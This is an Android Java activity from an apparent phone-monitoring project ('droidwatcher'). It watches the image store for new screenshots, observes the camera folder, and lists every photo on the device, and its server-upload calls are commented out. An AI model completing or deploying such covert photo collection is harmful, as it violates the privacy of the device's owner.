package com.droidwatcher.activity;

import android.app.Activity;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.os.FileObserver;
import android.os.Handler;
import android.os.Message;
import android.provider.MediaStore;

import com.droidwatcher2.R;
import com.droidwatcher.services.ScreenshotContentObserver;
import com.droidwatcher.util.AXLog;

public class AndroidFileListenerActivity extends Activity {


    private ScreenshotContentObserver mScreenObserver;
    private Handler mHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            if (msg.what == 0x110) {
                AXLog.e("wzytest", "message is back! " + msg.obj.toString());
            }
        }
    };

    private void listenDB() {
        mScreenObserver = new ScreenshotContentObserver(AndroidFileListenerActivity.this, mHandler);

        registerContentObserver();
    }

    private void registerContentObserver() {

    /*之前说过，非常关键的Uri*/
        Uri imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;

        getContentResolver().registerContentObserver(imageUri, false, mScreenObserver);
        AXLog.e("wzytest", "registered!---------------------------");
    }

    private FileObserver mFileObserver;

    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        upLoadPic();
        //listenDB();
//        AXLog.e("wzytest","开始监听SD卡文件夹");
//        if(null == mFileObserver) {
//            mFileObserver = new SDCardFileObserver(Environment.getExternalStorageDirectory().getPath()+"/DCIM/Camera/");
//            mFileObserver.startWatching(); //开始监听
//        }
    }

    public void onDestory() {
        if(null != mFileObserver) mFileObserver.stopWatching(); //停止监听  
    }

    static class SDCardFileObserver extends FileObserver {
        //mask:指定要监听的事件类型，默认为FileObserver.ALL_EVENTS  
        public SDCardFileObserver(String path, int mask) {
            super(path, mask);
        }

        public SDCardFileObserver(String path) {
            super(path);
            AXLog.e("wzytest","开始监听SD PATH:"+path);

        }

        @Override
        public void onEvent(int event, String path) {

            switch (event){
                case FileObserver.ACCESS:
                    AXLog.e("wzytest","event: ACCESS path:"+path);
                    break;

                case FileObserver.DELETE:
                    AXLog.e("wzytest","event: DELETE path:"+path);
                    break;

                case FileObserver.OPEN:
                    AXLog.e("wzytest","event: OPEN path:"+path);
                    break;

                case FileObserver.MODIFY:
                    AXLog.e("wzytest","event: MODIFY path:"+path);
                    break;
                case FileObserver.CLOSE_WRITE:
                    AXLog.e("wzytest","event: CLOSE_WRITE path:"+path);
                    break;
                case FileObserver.CREATE:
                    AXLog.e("wzytest","event: CREATE path:"+path);
                    break;
            }

            final int action = event & FileObserver.ALL_EVENTS;
            switch (action) {
                case FileObserver.ACCESS:
                    AXLog.e("wzytest","action: ACCESS path:"+path);
                    break;

                case FileObserver.DELETE:
                    AXLog.e("wzytest","action: DELETE path:"+path);
                    break;

                case FileObserver.OPEN:
                    AXLog.e("wzytest","action: OPEN path:"+path);
                    break;

                case FileObserver.MODIFY:
                    AXLog.e("wzytest","action: MODIFY path:"+path);
                    break;
                case FileObserver.CLOSE_WRITE:
                    AXLog.e("wzytest","action: CLOSE_WRITE path:"+path);
                    break;
                case FileObserver.CREATE:
                    AXLog.e("wzytest","action: CREATE path:"+path);
                    break;
            }
        }

    }

    //上传图片
    public void upLoadPic(){
        Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;

        Cursor cursor = getContentResolver().query(uri, null, null, null, "_data desc");

        if (cursor != null) {
            AXLog.e("wzytest", "The number of data is:" + cursor.getCount());

            StringBuffer sb = new StringBuffer();

            for (int i = 0; i < cursor.getColumnCount(); i++) {
                AXLog.e("wzytest","cursor.getColumnName(i):"+cursor.getColumnName(i));
            }
            while (cursor.moveToNext()) {

                String fileName = cursor.getString(cursor.getColumnIndex("_data"));
                String _display_name = cursor.getString(cursor.getColumnIndex("_display_name"));
                String title = cursor.getString(cursor.getColumnIndex("title"));

               // PhotoServerMsg msg = new PhotoServerMsg(MessageType.PHOTO);
               // ServerMessanger messanger  = new ServerMessanger(this,msg);
               // messanger.start();
            }


            cursor.close();
        }
    }
}  